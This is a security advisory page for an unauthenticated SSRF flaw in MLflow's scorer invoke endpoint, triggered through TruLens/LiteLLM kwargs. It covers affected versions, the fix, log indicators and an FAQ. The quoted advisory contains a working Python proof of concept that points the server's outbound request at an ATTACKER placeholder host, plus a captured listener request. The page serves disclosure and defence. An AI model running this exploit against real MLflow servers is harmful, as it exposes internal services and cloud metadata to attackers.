CVE-2026-115886: MLflow: SSRF on unauthenticated MLflow servers via third-party scorer kwargs in the scorer invoke, register, and GenAI evaluate endpoints
MLflow's tracking server lets an unauthenticated caller make it send HTTP requests to any host. The scorer invoke endpoint builds a TruLens scorer from attacker JSON and passes the kwargs to LiteLLM, so `api_base` redirects the call. It affects mlflow >= 3.12.0rc0 and < 3.17.0 when `trulens` and `trulens-providers-litellm` are installed. Upgrade to 3.17.0.
Published Oct 23, 2026 · Analysis Oct 24, 2026
What an attacker can do
The endpoint POST /ajax-api/3.0/mlflow/scorer/invoke has no authentication decorator. Its handler calls Scorer.model_validate_json(), which imports a class from an allowlisted module such as mlflow.genai.scorers.trulens and instantiates it with attacker-supplied kwargs. The allowlist only checks the import path, not the kwargs.
With a model URI outside MLflow's native providers, such as openai:/gpt-4o, the TruLens code falls back to LiteLLM(model_engine=..., **kwargs). LiteLLM then sends api_base and api_key into litellm.completion(). The server issues a POST .../chat/completions to the attacker's host with attacker-chosen headers.
An attacker needs only network access to the tracking server. The public proof of concept first creates an experiment and a trace anonymously to get a trace id. The result is SSRF from the server's network position, so internal services and cloud metadata endpoints are reachable. The CVSS vector rates confidentiality and integrity impact as low, and there is no code execution. The flaw needs the optional TruLens packages in the server environment.
Who is affected
mlflow from 3.12.0rc0 up to but not including 3.17.0. Servers are exposed only if trulens and trulens-providers-litellm are installed in the same environment and the tracking server is reachable without authentication.
Check the versions on the server host:
pip show mlflow trulens trulens-providers-litellmIf the TruLens packages are absent, the described path does not apply.
mlflow
- Ecosystem
- PyPI
- Affected
- >= 3.12.0rc0, < 3.17.0
- Fixed in
- 3.17.0
- Check
pip show mlflow
How to fix it
Upgrade to mlflow 3.17.0:
pip install --upgrade "mlflow>=3.17.0"The fix (pull request 25890) adds _validate_third_party_scorer_data in mlflow/utils/validation.py. It rejects api_base, base_url, model_list, fallbacks and custom_llm_provider at any depth in scorer kwargs. It is applied to the scorer register and invoke handlers, to scorers loaded from the store, and to the GenAI evaluate handler. The sources give no workaround for the bug itself. Judges that need a custom endpoint should use a gateway:/ endpoint or provider environment variables set on the server.
How to tell if you were hit
Look in server logs for POST requests to /ajax-api/3.0/mlflow/scorer/invoke from unexpected clients, especially bodies containing third_party_scorer_data with a kwargs object holding api_base. Check egress logs from the MLflow host for outbound POST .../chat/completions requests to hosts that are not your LLM providers, and for requests to internal addresses or metadata endpoints. Unexpected experiments or traces created by anonymous clients can also mark probing.
Original advisory
From the GitHub Advisory Database (CC BY 4.0).
Summary
MLflow's tracking server exposes POST /ajax-api/3.0/mlflow/scorer/invoke with no authentication, and the handler reflectively instantiates an attacker-named class from attacker-supplied JSON with unconstrained constructor kwargs. With the optional trulens + trulens-providers-litellm packages installed, an unauthenticated attacker can force the server to make an outbound HTTP request to an arbitrary host of their choosing, carrying attacker-controlled headers (SSRF).
Details
Scorer.model_validate_json() reflects a class name from a JSON payload behind an import-path allowlist that never constrains the reflected attribute or its kwargs, in mlflow/genai/scorers/base.py:549-604:
data = serialized.third_party_scorer_data # attacker JSON
module_path = data.get("module") or ""
class_name = data.get("class")
if not any(module_path == m or module_path.startswith(m + ".")
for m in THIRD_PARTY_SCORER_ALLOWED_MODULES):
raise MlflowException.invalid_parameter_value(...)
module = importlib.import_module(module_path)
scorer_class = getattr(module, class_name, None) # attribute NOT constrained
...
init_kwargs: dict[str, Any] = dict(data.get("kwargs") or {}) # kwargs NOT constrained
...
init_kwargs["model"] = data["model"] # attacker model URI
scorer_instance = scorer_class(**init_kwargs) # reflective instantiationThe allowlist (mlflow/genai/scorers/scorer_utils.py:46-51) only gates the import path:
THIRD_PARTY_SCORER_ALLOWED_MODULES = frozenset({
"mlflow.genai.scorers.ragas",
"mlflow.genai.scorers.deepeval",
"mlflow.genai.scorers.trulens",
"mlflow.genai.scorers.phoenix",
})For a mlflow.genai.scorers.trulens class, the forwarded model/kwargs reach an outbound LLM client through a routing choice the attacker controls (mlflow/genai/scorers/trulens/models.py:97-121):
backend = ScorerLLMClient(model_uri)
if backend.route == "databricks":
return _create_databricks_provider(backend, **kwargs)
if backend.is_native:
return _create_gateway_provider(backend, **kwargs)
try:
from trulens.providers.litellm import LiteLLM
litellm_model = backend.model_name
...
return LiteLLM(model_engine=litellm_model, **kwargs) # raw attacker kwargs forwardedOnly the litellm fallback branch reaches raw **kwargs; a model URI outside MLflow's native provider registry (e.g. openai:/gpt-4o) trivially routes there, and LiteLLM.__init__ forwards api_base/api_key straight into litellm.completion().
- Route:
POST /ajax-api/3.0/mlflow/scorer/invoke→_invoke_scorer_handler(mlflow/server/handlers.py:7026-7098), guarded only by@catch_mlflow_exception/@_disable_if_artifacts_only— no auth decorator. Scorer.model_validate_json(serialized_scorer)(the vulnerable deserialization) runs synchronously, before any tracking-store lookup orsubmit_jobcall.- Precondition: the server venv must have
trulens+trulens-providers-litellminstalled (a documented but optional, not-bundled GenAI-eval setup).
PoC
import time
import mlflow
from mlflow import MlflowClient
import requests
TARGET = "http://TARGET:5000" # MLflow tracking server, no auth configured
ATTACKER = "http://ATTACKER/collect" # host the attacker controls and monitors
client = MlflowClient(tracking_uri=TARGET)
# 1. Anonymous setup: create an experiment and log a trace to obtain a trace_id.
exp_id = client.create_experiment("poc")
mlflow.set_tracking_uri(TARGET)
mlflow.set_experiment(experiment_id=exp_id)
with mlflow.start_span(name="poc-span") as span:
span.set_inputs({"q": "hi"})
span.set_outputs({"a": "hi"})
trace_id = span.request_id
# 2. Attack: invoke a reflected trulens scorer whose kwargs point the
# outbound LLM client at the attacker host with an attacker-chosen
# Authorization value (their own canary, not a server secret).
serialized_scorer = {
"name": "poc",
"third_party_scorer_data": {
"module": "mlflow.genai.scorers.trulens",
"class": "Coherence",
"metric_name": "Coherence",
"model": "openai:/gpt-4o", # routes to the litellm fallback
"kwargs": {
"api_base": ATTACKER,
"api_key": "ATTACKER-CANARY", # attacker's own value, not a server secret
},
},
}
resp = requests.post(
f"{TARGET}/ajax-api/3.0/mlflow/scorer/invoke",
json={
"experiment_id": exp_id,
"serialized_scorer": __import__("json").dumps(serialized_scorer),
"trace_ids": [trace_id],
},
)
print(resp.status_code, resp.text)
time.sleep(5) # scorer job runs asynchronously# Attacker-controlled listener at ATTACKER receives, moments later:
POST /collect/chat/completions HTTP/1.1
Authorization: Bearer ATTACKER-CANARY
Content-Type: application/json
...The POST .../chat/completions request landing on ATTACKER, carrying the attacker's own Authorization header, is the server-originated outbound request — no request was ever sent by the client to that host directly.
Impact
An unauthenticated attacker forces the tracking server to issue an outbound HTTP request to an arbitrary attacker-chosen host — reachable from the server's network position, including internal services or cloud-metadata endpoints — with fully attacker-controlled request headers and body. This is SSRF with header/credential injection into the server-originated request; it requires no prior authentication and no operator misconfiguration beyond having the optional trulens + trulens-providers-litellm packages installed alongside MLflow.
Credited to adamyordan.
Questions
- Does CVE-2026-115886 need authentication?
No. The scorer invoke endpoint has no authentication check. Anyone who can reach the tracking server over the network can send the request, unless you put your own access control in front of it.
- Am I affected if I do not use TruLens?
The documented exploit path goes through the TruLens LiteLLM fallback. It needs
trulensandtrulens-providers-litellminstalled in the server environment. The advisory describes no path without them, but upgrading to 3.17.0 is still the safe choice.- Can this lead to code execution?
The advisory describes SSRF with attacker-controlled headers and body. It scores confidentiality and integrity as low and does not report code execution.
- Is it exploited in the wild?
None of the sources report exploitation, and it is not in CISA's KEV catalog. A proof of concept is public in the advisory.
References
Read for this analysis:
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. The analysis is written by an AI model from the sources listed above and checked by automated rules before it is published. Check versions against the vendor's advisory before you act. Methodology
More MLflow vulnerabilities
All MLflow entriesCVE-2026-53995
MLflow FileStore trace IDs allow path traversal and arbitrary file writes
high8.2Oct 20, 2026GHSA-gqvg-gmmx-x4hm
MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False safety control bypassed by mlflow.statsmodels flavor — RCE via crafted model artifact
high8.8Sep 1, 2026CVE-2026-64849
MLflow: Unauthenticated full-read SSRF in webhook delivery: _validate_webhook_url bypassed via unvalidated HTTP redirects (and DNS rebinding)
critical9.3ExploitedAug 17, 2026CVE-2026-71211
MLflow AI Gateway permits SSRF through an unvalidated api_base
high7.1No fixAug 5, 2026CVE-2026-8147
MLflow: trace API endpoints lack proper authorization validators
high8.1Jul 2, 2026CVE-2026-10803
MLflow: Deterministic sampling in dataset digest enables predictable collisions
low3.6Jun 4, 2026
